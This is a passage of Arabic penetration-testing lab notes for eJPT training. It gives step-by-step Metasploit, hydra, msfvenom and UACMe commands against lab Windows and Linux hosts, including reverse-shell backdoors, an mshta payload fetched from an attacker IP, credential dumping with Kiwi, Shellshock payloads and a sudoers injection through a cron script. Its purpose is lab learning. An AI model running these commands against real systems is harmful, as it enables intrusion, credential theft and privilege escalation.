286 | [set HttpPassword password_123321] 287 | [set PATH /webdav/metasploit%RAND%.asp] طبعا الي بعد /webdav تقدر تتحكم فيه لانه اسم الملف 288 | [exploit] or [run] 289 | ونشوف انه عطانا الاتصال الان فورا وعطانا ريفيرس شيل 290 | مطلوب مننا الفلاق 291 | نعرف انه في هذا المسار وطبعا لانه السيشن الي معنا هي meterpreter session 292 | نقدر ننفذ اوامر لينكس حتى وان كان النظام ويندوز لكن لو تكتب shell 293 | ماراح تقدر تتعامل مع النظام الا بنفس اوامر النظام المخترق 294 | 295 | نقرا الفلاق 296 | [cd /] عشان يرجعنا لمسار الـ C 297 | [cat flag.txt] والان قرينا الفلاق 298 | 299 | --- 300 | 301 | طبعا ثالث لاب معنا فيه هذا الجزء هو اللاب 302 | 303 | Windows: SMB Server PSexec 304 | ----------------------------| 305 | 306 | والان نجي لاستغلال الـ SMB 307 | 308 | زي مانشوف بالاب معطينا الايبي راح نفحصه بالـ nmap 309 | [nmap -sV 10.0.0.242] 310 | 311 | نشوف انه بورت 445 شغال بنسوي عليه شوية بحث عن طريق سكربت 312 | [nmap -p445 --script smb-protocols 10.0.0.242] 313 | 314 | طبعا زي مانشوف عطانا بعض المعلومات عن البروتوكول او البورت هذا 315 | 316 | الان راح نفتح MSFconsole عشان نستغل 317 | الان بشنغل الفريم وورك 318 | [msfconsole] 319 | ونستخدم هذا الموديول 320 | [use auxiliary/scanner/smb/smb_login]وظيفته يسوي بروت فورس 321 | والان نشوف وش المتغيرات المطلوبه مننا عن طريق هذا الامر 322 | [show options] 323 | مطلوب مننا USER_FILE , PASS_FILE , RHOST 324 | نعطيه قيم هذي المتغيرات 325 | [set USER_FILE /usr/share/metasploit-framework/data/wordlists/common_users.txt] 326 | [set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt] 327 | [set RHOSTS 10.0.0.242] 328 | [set VERBOSE false] عشان فقط يعطينا المحاولات الناجحه ومايسبب زحمه بالتيرمنال 329 | [exploit] or [run] 330 | 331 | نشوف انه عطانا 4 يوزرات مع باسورداتهم الان بنجرب نستغل هذي المعلومات بانه ناخذ meterpreter shell 332 | الان بشنغل الفريم وورك 333 | [msfconsole] 334 | ونستخدم هذا الموديول 335 | [use exploit/windows/smb/psexec] 336 | والان نشوف وش المتغيرات المطلوبه مننا عن طريق هذا الامر 337 | [show options] 338 | نشوف انه طالب مننا SMBUser , SMBPass , RHOST 339 | نعطيه قيم هذي المتغيرات 340 | [set RHOSTS 10.0.0.242] 341 | [set SMBUser Administrator] 342 | [set SMBPass qwertyuiop] 343 | [exploit] or [run] 344 | 345 | وزي مانشوف انه عطانا الـ meterpreter session 346 | طبعا ليه اخذنا يوزر Administrator 347 | لانه اعلى صلاحيات موجوده ف دائما يكون وجهتنا الاولى 348 | الان مطلوب نقرا الفلاق فقط 349 | [cd c:\] عشان نروح لمسار الـ c 350 | [cat flag.txt] 351 | 352 | --- 353 | 354 | طبعا رابع لاب معنا فيه هذا الجزء هو اللاب 355 | 356 | Windows: Insecure RDP Service 357 | ------------------------------| 358 | 359 | طبعا فكرة بروتوكول RDP 360 | هو نفس الـ SSH on Linux 361 | ولكن الفرق انه يعطيك واجهة رسومية GUI 362 | 363 | طبعا الديفولت بورت 3389 364 | 365 | الان راح نشوف كيف نستغل هذي الخدمة 366 | 367 | اول شي اللاب معطينا الايبي وكلعاده نسوي له فحص سريع بالـ nmap 368 | [nmap -sV 10.0.0.31] 369 | نشوف ان بورت 3333 شغال ولكن مانعرف وش الخدمة الي شغاله ف بنستخدم موديول عشان نتاكد هل هذا البورت شغال عليه هذي الخدمة او لا 370 | وهذا يعني انه البورت مو شرط يكون الديفولت عادي تكون الخدمة على بورت اخر غير الديفولت بورت 371 | 372 | الان بنستغله عن طريق الـ MSFconsole 373 | الان بشنغل الفريم وورك 374 | [msfconsole] 375 | ونستخدم هذا الموديول 376 | [use auxiliary/scanner/rdp/rdp_scanner] وظيفته يتاكد لك هل فعلا شغال الـ RDP على الـ RPORT الي حددته ولا لا 377 | والان نشوف وش المتغيرات المطلوبه مننا عن طريق هذا الامر 378 | [show options] 379 | نشوف انه طالب RHOST , RPORT 380 | نعطيه قيم هذي المتغيرات 381 | [set RHOSTS 10.0.0.31] 382 | [set RPORT 3333] 383 | [exploit] or [run] 384 | والان نشوف انه حصلنا انه فعلا شغاله الخدمة على هذا البورت 385 | 386 | فالان دام الـ RDP نفس فكرة الـ SSH اكيد بنحتاج طريقة تحقق يعني يوزر وباسورد او طريقة اخرى غير اليوز والباسورد 387 | 388 | ف حنا بنستخدم hydra عشان نحصل اليوزر والباسورد 389 | [hydra -L /usr/share/metasploit-framework/data/wordlists/common_users.txt -P 390 | /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt rdp://10.0.0.31 -s 3333] 391 | 392 | -s = نحدد البورت لو كان غير الديفولت 393 | rdp:// = لابد نحدد الخدمة هنا بهذا الطريقة عشان نقوله ان هذي الخدمة تشتغل على البورت المحدد 394 | والان نشوف انه حصلنا 4 يوزرات طبعا زي ماقلنا دائما نروح مع اليوزر الاكثر صلاحية والي هو administrator 395 | 396 | فعندنا اداة تخدمنا عشان نتصل بالـ RDP ويعطينا الواجهة الرسوميه والي هي xfreerdp 397 | [xfreerdp /u:administrator /p:qwertyuiop /v:10.0.0.31:3333] 398 | [y] لابد توافق عشان يفتح لك الواجهة الرسوميه 399 | 400 | والان عندنا الاكسس و نبحث عن الفلاق 401 | طبعا حصلناه في مسار c 402 | واسم الملف هو flag 403 | 404 | 405 | طبعا الان وصلنا التارقت لكن لابد نضمن انه متى ماحبينا ندخل بنقدر ندخل سواء نثبت باك دور او نسوي يوزر جديد 406 | 407 | --- 408 | 409 | طبعا رابع لاب معنا فيه هذا الجزء هو اللاب 410 | 411 | WinRM: Exploitation with Metasploit 412 | ------------------------------------| 413 | 414 | 415 | طبع الان الـ WinRM 416 | نفس فكرة الـ RDP 417 | لكن command line 418 | يعني بيكون كسطر اوامر تتعامل معه باوامر وليس GUI 419 | 420 | طبعا اول شي نسويه كلعاده معطينا الايبي وراح نفحص البورتات 421 | [nmap --top-ports 7000 10.0.0.173] 422 | طبعا المفروض تستخدم -p- عشان يفحص جميع البورتات هذا الواقعي 423 | ولكن اللاب مسهل علينا وقال استخدم هذا الامر 424 | 425 | نشوف انه حصل البورت 426 | 5985 وشغال عليها خدمة wsman الي هي WinRM 427 | ونفس الفكره هي تاخذ منك يوزر وباسورد ف بنسوي بروت فورس بالـ MSFconsole 428 | الان بشنغل الفريم وورك 429 | [msfconsole] 430 | ونستخدم هذا الموديول 431 | [use auxiliary/scanner/winrm/winrm_login] وظيفته يسوي بروت فورس 432 | والان نشوف وش المتغيرات المطلوبه مننا عن طريق هذا الامر 433 | [show options] 434 | نشوف انه طالب RHOST , USER_FILE , PASS_FILE 435 | نعطيه القيم لهذي المتغيرات 436 | [set RHOSTS 10.0.0.173] 437 | [set USER_FILE /usr/share/metasploit-framework/data/wordlists/common_users.txt] 438 | [set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt] 439 | [set VERBOSE false] 440 | [exploit] or [run] 441 | 442 | والان نشوف انه حصلنا يوزر وباسورد 443 | واليوزر كان administrator 444 | 445 | الان بنشوف وش يستخدم او وش يدعم من طريقة تحقق هذي الخدمة 446 | ف بنستخدم MSFconsole 447 | الان بشنغل الفريم وورك 448 | [msfconsole] 449 | ونستخدم هذا الموديول 450 | [use auxiliary/scanner/winrm/winrm_auth_methods] 451 | والان نشوف وش المتغيرات المطلوبه مننا عن طريق هذا الامر 452 | [show options] 453 | نشوف انه طالب مننا RHOST 454 | نعطيه قيم المتغيرات 455 | [set RHOSTS 10.0.0.173] 456 | [exploit] or [run] 457 | نشوف انه عطانا النتيجة زانه يستخدم هذي الطريقتين 458 | Basic and Negotiate. 459 | 460 | طبعا الان بنحاول ننفذ اوامر عن طريق MSFconsole 461 | الان بشنغل الفريم وورك 462 | [msfconsole] 463 | ونستخدم هذا الموديول 464 | [use auxiliary/scanner/winrm/winrm_cmd] 465 | والان نشوف وش المتغيرات المطلوبه مننا عن طريق هذا الامر 466 | [show options] 467 | نشوف انه طالب مننا RHOST , USERNAME , PASSWORD , CMD 468 | نعطيه قيم المتغيرات 469 | [set RHOSTS 10.0.0.173] 470 | [set USERNAME administrator] 471 | [set PASSWORD tinkerbell] 472 | [set CMD whoami] هنا الامر الي نبي ننفذه على السيرفر 473 | [exploit] or [run] 474 | 475 | نشوف انه عطانا النتيجة الان وشغال تمام 476 | 477 | الان بنشوف موديول اخير وظيفته انه يعطينا meterpreter shell 478 | الان بشنغل الفريم وورك 479 | [msfconsole] 480 | ونستخدم هذا الموديول 481 | [use exploit/windows/winrm/winrm_script_exec] 482 | والان نشوف وش المتغيرات المطلوبه مننا عن طريق هذا الامر 483 | [show options] 484 | نشوف انه طالب مننا RHOST , USERNAME ,PASSWORD 485 | نعطيه قيم المتغيرات 486 | [set RHOSTS 10.0.0.173] 487 | [set USERNAME administrator] 488 | [set PASSWORD tinkerbell] 489 | [set FORCE_VBS true] هذا وظيفته فيه شي زي البايلود يعني ياخذ الشيل عن طريق يعني يسوي لك ملف exe ويشغله لك 490 | [exploit] or [run] 491 | 492 | والان نشوف انه عطانا meterpreter shell ونقدر ننفذ الاوامر بكل سهوله 493 | طبعا مطلوب مننا نجيب الفلاق ونعرف انه في مسار الـ C:\flag.txt 494 | [cd /] عشان نروح لاول مسار او الهارد من البداية الي هو الـ C 495 | [cat flag.txt] الان قريناالفلاق 496 | 497 | --- 498 | 499 | الى هنا انتهينا طبعا بكرا باذن الله راح ندخل قسم جديد الي هو Privilege Escalation 500 | نلقاكم بكرا باذن الله 501 | 502 | 503 | @s4cript | @cyberhub | @0xNawaF1 504 | -------------------------------------------------------------------------------- /network-PT-cyberhub-5.md: -------------------------------------------------------------------------------- 1 | # Session 5 (ejpt) - Day 5 2 | ## Host & Network Penetration Testing: part 2 3 | 4 | 5 | السلام عليكم ورحمة الله وبركاته 6 | 7 | اليوم باذن الله راح نبدا ماتوقفنا عليه امس والي هو لاب 8 | UAC Bypass: UACMe 9 | 10 | --- 11 | 12 | راح نبداء باللاب الاول الي هو 13 | 14 | UAC Bypass: UACMe 15 | ------------------| 16 | 17 | 18 | طبعا زي مانشوف الان معطينا التارقت راح نسوي له فحص سريع بالـ nmap 19 | [nmap 10.0.27.103] 20 | 21 | نشوف ان بورت 80 شغال عليه HTTPFileServer 2.3 22 | وهو مصاب بثغرة RCE 23 | طبعا راح نبحث عن الاكسبلويت سواء في قوقل او فيه اداة searchsploit utility 24 | طبعا هذي الاداة تستخدم قاعدة بيانات موقع exploitdb 25 | لكن الي يفضل يستخدم الموقع يقدر يستخدمه او يستخدم هذي الادة 26 | [searchsploit hfs] 27 | طبعا نلاحظ الان انه حصلنا الاكسبلويت الي هو Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (2) 28 | 29 | راح نستخدم الـ MSFconsole في الاستغلال 30 | نفتح الفريم وورك بالامر التالي 31 | [msfconsole] 32 | ونستخدم هذا الموديول 33 | [use exploit/windows/http/rejetto_hfs_exec] 34 | والان نشوف وش المتغيرات المطلوبه مننا عن طريق هذا الامر 35 | [show options] 36 | نشوف انه طالب فقط الـ RHOST 37 | نعطيه القيمه لهذا المتغير المطلوب 38 | [set RHOSTS 10.0.27.103] 39 | [exploit] or [run] 40 | 41 | والان قدرنا ناخذ meterpreter shell 42 | راح نستخدم بعض اوامر هذا الشيل او هذي السيشن مثل 43 | [getuid] عشان تحصل الـ Server username 44 | [sysinfo] عشان يطبع لك معلومات عن التارقت مثل OS , Architecture , Logged On Users , etc... 45 | طبعا زي مانشوف حنا الان يوزر admin 46 | وحابين نكون اعلى صلاحيات الي هو Administrator 47 | 48 | اول شي لابد نروح على بروسس معين والي هو explorer.exe process 49 | عندنا طريقة عشان نكون شغالين على هذا البروسس او عشان نغير البروسس 50 | الطريقة الاولى والي هي انه نطلب البروسس عن طريق الايدي تبعها او انه عن طريق اسمها 51 | حنا راح نستخدم الطريقه الاولى والي هي رقم البروسس عن طريق هذا الامر 52 | [ps -S explorer.exe] or [pgrep explorer.exe] عشان نحصل على رقم ايدي البروسس 53 | الان نشوف انه حولنا على هذي البروسس بدون مشاكل 54 | طبعا هذي البروسس مزيتها انه شغاله دائما ماراح تتوقف بعكس لو اخذت مثلا على اي بروسس اخر احتمال يقطع ف بينتهي اتصالك ويقطع عليك الشيل 55 | 56 | الان راح نجرب نرفع صلاحياتنا عن طريق امر معين في الـ meterpreter session والي هو هذا الامر 57 | [getsystem] لرفع الصلاحيات بعد تغير البروسس الى explorer.exe 58 | نشوف انه رفض انه يرفع صلاحياتنا او ماقدر السيشن هذي ترفع صلاحياتنا 59 | 60 | طيب حنا يوزرنا admin هل هو حنا من ضمن قروب الـ Administrators? الان بنشيك 61 | [shell] عشان يفتح لنا الـ PowerShell 62 | [net localgroup administrators] هذا الامر عشان نشوف اليوزرات الي في هذا القروب 63 | 64 | نلاحظ انه فعلا حنا جزء من هذا القروب والي هو صلاحياته عاليه لكن حنا ماعندنا صلاحيات عاليه فبنقدر ناخذ اعلى صلاحيات عن طريق الـ Bypassing UAC 65 | 66 | طبعا الان بنسوي البايلود حقنا والي هو بيكون باستخدام اداة msfvenom 67 | [msfvenom -p windows/meterpreter/reverse_tcp LHOST=$ip_attacker LPORT=$port_attacker -f 68 | exe > 'backdoor.exe'] 69 | 70 | طبعا هذا الامر راح يسوي لنا بايلود داخل ملف exe نفس ماحددنا له طبعا هذا الامر تنفذه بجهازك 71 | طيب الان ندخل على الـ meterpreter session 72 | ونرفع الملفين الي هو البايلود وكذالك البايلود 73 | [cd C:\\Users\\admin\\AppData\\Local\\Temp] طبعا الان راح نرفعهم داخل هذا المسار وهو المفضل لانه دائما يكون عندك صلاحية القرائة والكتابة في هذا المسار وهذا موجود في اللينكس والويندوز 74 | طبعا حطينا دبل باك سلاش لان الميتربريتر تعتبر الباك سلاش واحد تعتبره سكيب ف عشان دبلناه 75 | [upload /root/Desktop/tools/UACME/Akagi64.exe .] 76 | [upload /root/backdoor.exe .] 77 | [ls] 78 | والان نشوف انه رفع لنا الملفين حقتنا الاول البايباس والثاني الي هو البايلود 79 | الان نفتح تاب ثاني عشان نفتح فيه الاتصال على البورت الي حددناه في البايلود 80 | نفتح الفريم وورك بالامر التالي 81 | [msfconsole] 82 | ونستخدم هذا الموديول 83 | [use exploit/multi/handler] 84 | والان نشوف وش المتغيرات المطلوبه مننا عن طريق هذا الامر 85 | [show options] 86 | نشوف انه طالب مننا LHOST , LPORT , PAYLOAD 87 | [set PAYLOAD windows/meterpreter/reverse_tcp] لابد يكون البايلود هذا نفس الي حقناه داخل ملف الـ exe 88 | [set LHOST 10.10.1.3] هنا تحدد الايبي حقك وليس ايبي التارقت 89 | [set LPORT 4444] هنا نحدد نفس البورت الي في البايلود الي حقناه داخل ملف الـ exe 90 | [exploit] or [run] 91 | 92 | طبعا الان نشغل البايلود مع البايباس عشان يجينا اتصال باعلى صلاحيات ف خلونا نكتب الامر مع بعض 93 | [Akagi64.exe 23 C:\Users\admin\AppData\Local\Temp\backdoor.exe] 94 | طبعا الان اشتغل , رقم 23 يعني انه استخدم لنا الطريقة الي رقمها 23 والطرق كثيره في هذي الاداة تقدر تقرا عنها في القيت هب 95 | 96 | ف هو الان راح يسوي البايباس ويشغل الباك دور حقنا بعدها راح يجينا اتصال على الليسنر الي فتحناه بالـ MSFconsole 97 | الان نرجع للليسنر نشوف انه عطانا اتصال الان وبنحاول نرفع صلاحياتنا الان 98 | [getsystem] 99 | وزي مانشوف الان قبل ورفع صلاحيتنا بنجرب نحمل الهاشات 100 | طبعا اذا نبي نسوي hashdump لابد نكون على بروسس معين والي هو lsass.exe 101 | راح نستخدم نفس الطريقه عشان نغير البروسس الي شغالين عليها 102 | [ps -S lsass.exe] عشان يعطينا ايدي البروسس 103 | [migrate 680] هذا الامر عشان ننتقل للبروسس الي حطينا رقمها 104 | الان حولنا على البروسس الي حددناه نجرب نسوي hashdump 105 | [hashdump] 106 | ونشوف انه عطانا الهاشات ومعنا كامل الصلاحيات الان وانتهينا من هذا اللاب 107 | References: 108 | 1. Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (https://www.exploit-db.com/exploits/39161) 109 | 2. Metasploit Module (https://www.rapid7.com/db/modules/exploit/windows/http/rejetto_hfs_exec) 110 | 3. UACMe (https://github.com/hfiref0x/UACME) 111 | 112 | --- 113 | 114 | راح نبداء باللاب الثاني الي هو 115 | 116 | Privilege Escalation: Impersonate 117 | ---------------------------------| 118 | 119 | طبعا هذا اللاب فكرته بالاكسبلويت نفس الاكسبلويت السابق ف بنسوي نفس الخطوات الفرق فقط في طريقة رفع الصلاحيات 120 | طبعا زي مانشوف الان معطينا التارقت راح نسوي له فحص سريع بالـ nmap 121 | [nmap -sV 10.0.28.7] 122 | 123 | نشوف ان بورت 80 شغال عليه HTTPFileServer 2.3 124 | وهو مصاب بثغرة RCE 125 | طبعا راح نبحث عن الاكسبلويت سواء في قوقل او فيه اداة searchsploit utility 126 | طبعا هذي الاداة تستخدم قاعدة بيانات موقع exploitdb 127 | لكن الي يفضل يستخدم الموقع يقدر يستخدمه او يستخدم هذي الادة 128 | [searchsploit hfs] 129 | طبعا نلاحظ الان انه حصلنا الاكسبلويت الي هو Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (2) 130 | 131 | راح نستخدم الـ MSFconsole في الاستغلال 132 | نفتح الفريم وورك بالامر التالي 133 | [msfconsole] 134 | ونستخدم هذا الموديول 135 | [use exploit/windows/http/rejetto_hfs_exec] 136 | والان نشوف وش المتغيرات المطلوبه مننا عن طريق هذا الامر 137 | [show options] 138 | نشوف انه طالب فقط الـ RHOST 139 | نعطيه القيمه لهذا المتغير المطلوب 140 | [set RHOSTS 10.0.28.7] 141 | [exploit] or [run] 142 | 143 | والان قدرنا ناخذ meterpreter shell 144 | 145 | طيب الان وصلنا مرحلة رفع الصلاحيات راح نشوف مع بعض هذي الطريقة 146 | طبعا نشوف الان الـ Server username 147 | [getuid] 148 | 149 | طبعا لو حاولت ترفع صلاحياتك بهذا الامر ماراح تقدر 150 | [getsystem] 151 | 152 | طبعا راح نستخدم اداة اسمها incognito راح نستدعيها بهذا الامر 153 | [load incognito] 154 | 155 | الان راح نشوف التوكنز الموجوده عندنا وحنا راح ننتحل توكن عنده اعلى الصلاحيات 156 | [list_tokens -u] هذا الامر عشان نشوف كل التوكنز الموجوده 157 | 158 | نشوف انه الان عرض لنا التوكن حقنا وحق الـ Administrator الان راح ننتحله بهذا الامر 159 | [impersonate_token ATTACKDEFENSE\\Administrator] وقلنا ندبل الباك سلاش لانه الميتربريتر يتعبر الوحده سكيب وليس باك سلاش ف راح يحذفها 160 | 161 | الان طبعا اخذنا اعلى صلاحيات ونتاكد عن طريق الامر هذا 162 | [getuid] 163 | ونشوف انه معنا صلاحيات Administrator وهي اعلى صلاحيات الويندوز 164 | 165 | مطللوب مننا نقرا الفلاق فقط بهذا الامر 166 | [cat C:\\Users\\Administrator\\Desktop\\flag.txt] 167 | الان قريناه وانتهى اللاب نشوف الي بعده 168 | 169 | --- 170 | 171 | راح نبداء باللاب الثالث الي هو 172 | 173 | Unattended Installation 174 | ------------------------| 175 | 176 | طبعا هذي الاداة موجوده بابليك وهي بالبور شيل وظيفتها تجرب لك اكثر من تكنيك لرفع الصلاحيات 177 | 178 | الان لنفرض انك اخذت شيل وكلشي تمام وتبي تسوي رفع لصلاحياتك او تصعيد الصلاحيات طبعا راح ندخل على الـ Attacker Machine الي هي ويندوز 179 | 180 | نفتح الباور شيل ونشوف حنا مين اصلا ايش اليوزر الي معنا 181 | [whoami] 182 | 183 | طبعا التول مرفوعه على اللاب من اول وجاهزه راح ندخل للاداة 184 | [cd .\Desktop\PowerSploit\Privesc\] 185 | 186 | طيب الان الي بنسويه حنا بنسوي load لسكربت الي هو PowerUp.ps1 187 | [.\PowerUp.ps1] 188 | [R]عشان يشغله لنا 189 | 190 | طبعا فيه الامر هذا نسويه عشان مايسالنا كل مره جينا نشغله هل تبي تشغله او لا ونكتب R بيكون دايركت يشتغل 191 | [powershell -ep bypass] 192 | 193 | طبعا الان اي دالة نبي نستدعيها نقدر بكل سهوله راح نجرب نستدعي فنشكن 194 | [Invoke-PrivescAudit] 195 | 196 | طبعاالي يهمنا هو UnattendPath طبعا هذا ملف غالبا يكون فيه باسوردات النظام ولابد يكون له بولسي ومو اي احد يدخل الملف هذا 197 | 198 | راح نقرا الملف الان عشان نشوف هل فيه باسورد او لا 199 | [cat C:\Windows\Panther\Unattend.xml] 200 | 201 | طبعا نشوف انه فيه تاق اسمه PlainText قيمته هي false فهذا يعني انه مشفر لكن التشفير جدا سهل تفكه وهو نوعه base64 202 | 203 | ننسخ الباسورد الي بالتاق الي اسمه value نفكه في اي موقع او من الباورشيل نفسها 204 | 205 | [$password='QWRtaW5AMTIz'] طبعا هنا عرفنا المتغير وعطيناه قيمه 206 | [$password=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($pa 207 | ssword))] هذا الامر طبعا عشان نفك التشفير 208 | [echo $password] والان نطبع الباسورد بعد فك التشفير 209 | 210 | الان عطانا الباسورد الي هو Admin@123 211 | راح نفتح الـ cmd كا يوزر Administrator عن طريق هذا الامر 212 | [runas.exe /user:administrator cmd] 213 | الان راح يطلب منك الباسورد تسجله وتلاحظ انه دخل معك بدون اي مشاكل وصار معك كامل الصلاحيات 214 | 215 | الان نقدر نسوي اكثر من سيناريو عشان ناخذ ريفيرس شيل طبعا ومعنا الباسورد راح نكمل معكم بناخذ الشيل عن طريق msfconsole 216 | 217 | [msfconsole] 218 | [use exploit/windows/misc/hta_server] طبعا فكرة هذا الموديول انه يسوي لك صفحة واول مايدخلها الضحية علطول يحمل على جهازة باك دور ويعطيك ريفيرس شيل 219 | [exploit] or [run] 220 | 221 | الان نرجع للويندوز ونكتب هذا الامر 222 | [mshta.exe http://10.10.0.2:8080/6Nz7aySfPN.hta] طبعا الرابط راح تعطيك الـ msfconsole 223 | 224 | ونلاحظ انه عطانا meterpreter shell 225 | 226 | طبعا مطلوب نقرا الفلاق والي هو هذا الامر 227 | [cat C:\\Users\\Administrator\\Desktop\\flag.txt] 228 | 229 | الى هنا انتهى اللاب نشوف الي بعده 230 | 231 | --- 232 | 233 | راح نبداء باللاب الرابع الي هو 234 | 235 | Windows: Meterpreter: Kiwi Extension 236 | ------------------------------------| 237 | 238 | طبعا الان راح نشوف مع بعض طريقة او اداة اخرى الي هي مرحلة مابعد الاستغلال وايش نقدر نسوي بعد الاستغلال مثل hashdump وغيرها من الاشياء الي ممكن تسويها بعد الاستغلال 239 | 240 | وهالمره راح نستخدم اداة اسمها Kiwi 241 | 242 | طبعا هذي الاداة او هذا الـ extension موجود في الـ meterpreter session 243 | 244 | فالبداية نحتاج ناخذ meterpreter session ف خلونا نسوي المعتاد وهو اولا انه نفحص ونشوف ايش الثغره الموجوده 245 | 246 | [nmap -sV 10.0.27.166] 247 | 248 | نشوف انه بورت 80 شغال وعليه سيرفر اسمه badblue 2.7 وهذا السيرفر بهذا الاصدار مصاب بثغرة اسمها Buffer Overflow راح نتسخدم الـ msfconsole عشان نستغل الثغره 249 | 250 | [msfconsole] 251 | [use exploit/windows/http/badblue_passthru] 252 | [show options] 253 | [set RHOSTS 10.0.27.166] 254 | [exploit] or [run] 255 | 256 | طبعا لابد نغير البروسس زي ماقلنا عشان مايقطع علينا الاتصال والان في حالتنا نجتاج نسوي hashdump ف بنحتاج نروح على بروسس اسمها lsass.exe زي ماذكرنا سابقا 257 | [migrate -N lsass.exe] عشان ننتقلل على هذا البروسس عن طريق الاسم وليس عن طريق الايدي 258 | 259 | 260 | والان نشوف انه اخذنا meterpreter session الان راح نستدعي الاداة عن طريق الامر التالي 261 | [load kiwi] 262 | [help] عشان نشوف كل الاوامر 263 | 264 | طبعا راح نسوي الي يهمنا منها والي هي 265 | [creds_all] وهذي عشان يسوي Dump للـ Administrator NTLM hash 266 | نشوف انه عطانا النتيجة ومعها كم معلومه زيادة 267 | 268 | والان عشان نطلع هاشات كل اليوزرات نسوي هذا الامر 269 | [lsa_dump_sam] 270 | 271 | نشوف انه عطانا كل الهاشات حق كل اليوزرات 272 | 273 | طيب الان مطلوب مننا الـ syskey او الـ system key 274 | [lsa_dump_secrets] هذا الامر عشان يسوي dump للـ syskey ومعلومات زيادة مثل الـ Local name , Domain name etc... 275 | 276 | 277 | الى هنا انتهى اللاب نشوف اللاب الي بعده مع بعض 278 | 279 | --- 280 | 281 | راح نبداء باللاب الخامس الي هو 282 | 283 | Shellshock 284 | ------------| 285 | 286 | 287 | طبعا الـ شيل شوك كانت ثغره في احد الـ CMS وكان الـ CVE حقها سنة 2014 288 | 289 | طبعا ماعطانا التارقت ناخذ الايبي حقنا ونزيد عليه واحد لاننا نعرف انه هو التارقت 290 | 291 | ونفصحه ونشوف ان بورت 80 مفتوح وشغال عليه Apache 292 | 293 | طبعا نفتح الموقع نفسه ونشوف السورس كود 294 | [http://192.14.111.3] 295 | 296 | حصللنا طبعا سكربت يسوي Git على ملف Cgi طبعا هذا الاكستنشن مصاب بهذي الثغره 297 | 298 | راح نشيك عن طريق سكربت nmap 299 | [nmap --script http-shellshock --script-args “http-shellshock.uri=/gettime.cgi” 300 | 192.14.111.3] 301 | 302 | طبعا لابد نعطيه مسار ملف الـ cgi الي حصلناه 303 | 304 | ونشوف انه قالنا انه فعلا مصاب بثغره الـ Shellshock 305 | 306 | طبعا نبحث الان عن الاكسبلويت راح نحصله هنا 307 | [Click here](https://github.com/opsxcq/exploit-CVE-2014-6271) 308 | 309 | طبعا راح نستغله يدوي عن طريق بروكسي او اداة اسمها Burpsuite 310 | 311 | وظيفتها نفس البروكسي تكون بينك وبين السيرفر ف راح يلقط اي ريكوست قبل يروح السيرفر 312 | 313 | طبعا بعد مانقرا الـ CVE نشوف انه فيه هيدر اسمه User-Agent: مصاب بثغرة command injection 314 | 315 | راح نفتح البرب سويت ونفتح البروكسي ونخليه intercept on 316 | طبعا الان نفتح ملف الـ cgi ونرجع للبرب سويت نحصله اعترض الطلب 317 | الان طبعا نرسله للريبيتر نضغط CTRL + R 318 | الان نحقن البايلود نفس الي بالـ CVE 319 | 320 | [User-Agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'] 321 | 322 | الان نسوي Send 323 | 324 | ونشوف انه فعلا قرا لنا ملف الـ /etc/passwd 325 | 326 | الان نقدر نلعب بالي بين الـ '' 327 | [User-Agent: () { :; }; echo; echo; /bin/bash -c 'id'] 328 | [User-Agent: () { :; }; echo; echo; /bin/bash -c 'ps -ef'] 329 | 330 | 331 | ونشوف انه جميع الاوامر اشتغلت الان نقدر ناخذ ريفيرس شيل باكثر من طريقة 332 | 333 | 334 | راح نجرب طريقة اخرى وهي عن طريق اداة curl 335 | 336 | [curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" \ 337 | http://192.14.111.3/gettime.cgi] 338 | 339 | 340 | ونشوف انه عطانا نفس النتيجة وقرا لنا ملف /etc/passwd 341 | 342 | --- 343 | 344 | راح نبداء باللاب السادس الي هو 345 | 346 | Cron Jobs Gone Wild II 347 | ----------------------| 348 | 349 | الـ Cron jobs باختصار شي موجود بلينكس 350 | 351 | طبعا فايدته مثلا نقول عندك مهمه انك تسوي نسخة احتياطيه كل يوم مثلا ف انت تسوي cron job تسويه عنك بالوقت الي محدده 352 | 353 | طبعا اللاب جاهز مدخلنا بيوزر student ويبي نرفع الصلاحيات الى root 354 | 355 | اول شي بنشوف لو كان فيه نفس اسم الملف بمكان اخر لانه عندنا ملف message بس ماعندنا صلاحيات عليه ابد فقط الروت الي يقدر يقرا او يكتب او يشغله 356 | 357 | ف راح نشوف لو فيه ملف اخر بنفس الاسم 358 | [find / -name message] عشان يبحث بكل الجهاز عن اي ملف اسمه message 359 | 360 | حصلنا واحد طبعا /tmp/messages 361 | طبعا بعد ماعندنا صلاحية الا قراءة ولا راح نستفيد بعد مانقراه لانه مافيه شي مهم 362 | 363 | فيه شي بالـ grep طبعا 364 | [grep -nri “/tmp/message” /usr] 365 | 366 | طبعا هذا يسوي نفس الليسنقن راح يورينا لو كان فيه كرون جوب او ملف يشتغل كلشوي وحنا مانعرف المصدر ف هذا راح يعطينا المصدر 367 | 368 | نشوف انه عطانا واحد اسمه copy.sh 369 | 370 | بنشوف الصلاحيات حقت الملف ونقراه 371 | [ls -l /usr/local/share/copy.sh] 372 | [cat /usr/local/share/copy.sh] 373 | 374 | نشوف انه عندنا كامل الصلاحيات قراءة وكتابه وتشغيل 375 | 376 | طبعا حاولنا نفتحه بالـ vim , nano بس ماقدرنا لانه غير موجود 377 | 378 | ف بنستخدم الـ echo > 379 | 380 | فبيكون الامر كذا 381 | [printf '#! /bin/bash\necho "student ALL=NOPASSWD:ALL" >> /etc/sudoers' > 382 | /usr/local/share/copy.sh] 383 | 384 | طبعا هنا قلنا لك اضف هالنص في الملف والي هو 385 | خل اليوزر student يستخدم كل شي بالـ sudo بدون ماتطلب منه باسورد واضفهم في الملف الي اسمه copy.sh 386 | 387 | فالان اضفناه تمام نقرا الملف 388 | [cat /usr/local/share/copy.sh] 389 | 390 | الان نشيك على الـ sudo -l 391 | [sudo -l] 392 | نشوف انه ماعندنا صلاحيات لانه باقي ماشتغلت الكرون جوب هذي ف لابد ننتظر لين تشتغل وراح تجينا الصلاحيات 393 | 394 | طبعا الملف يشتغل كل دقيقه ف بعد دقيقه ننفذ نفس الامر من جديد 395 | [sudo -l] 396 | نحصل انه اضافه لنا بدون اي مشاكل 397 | 398 | نكتب 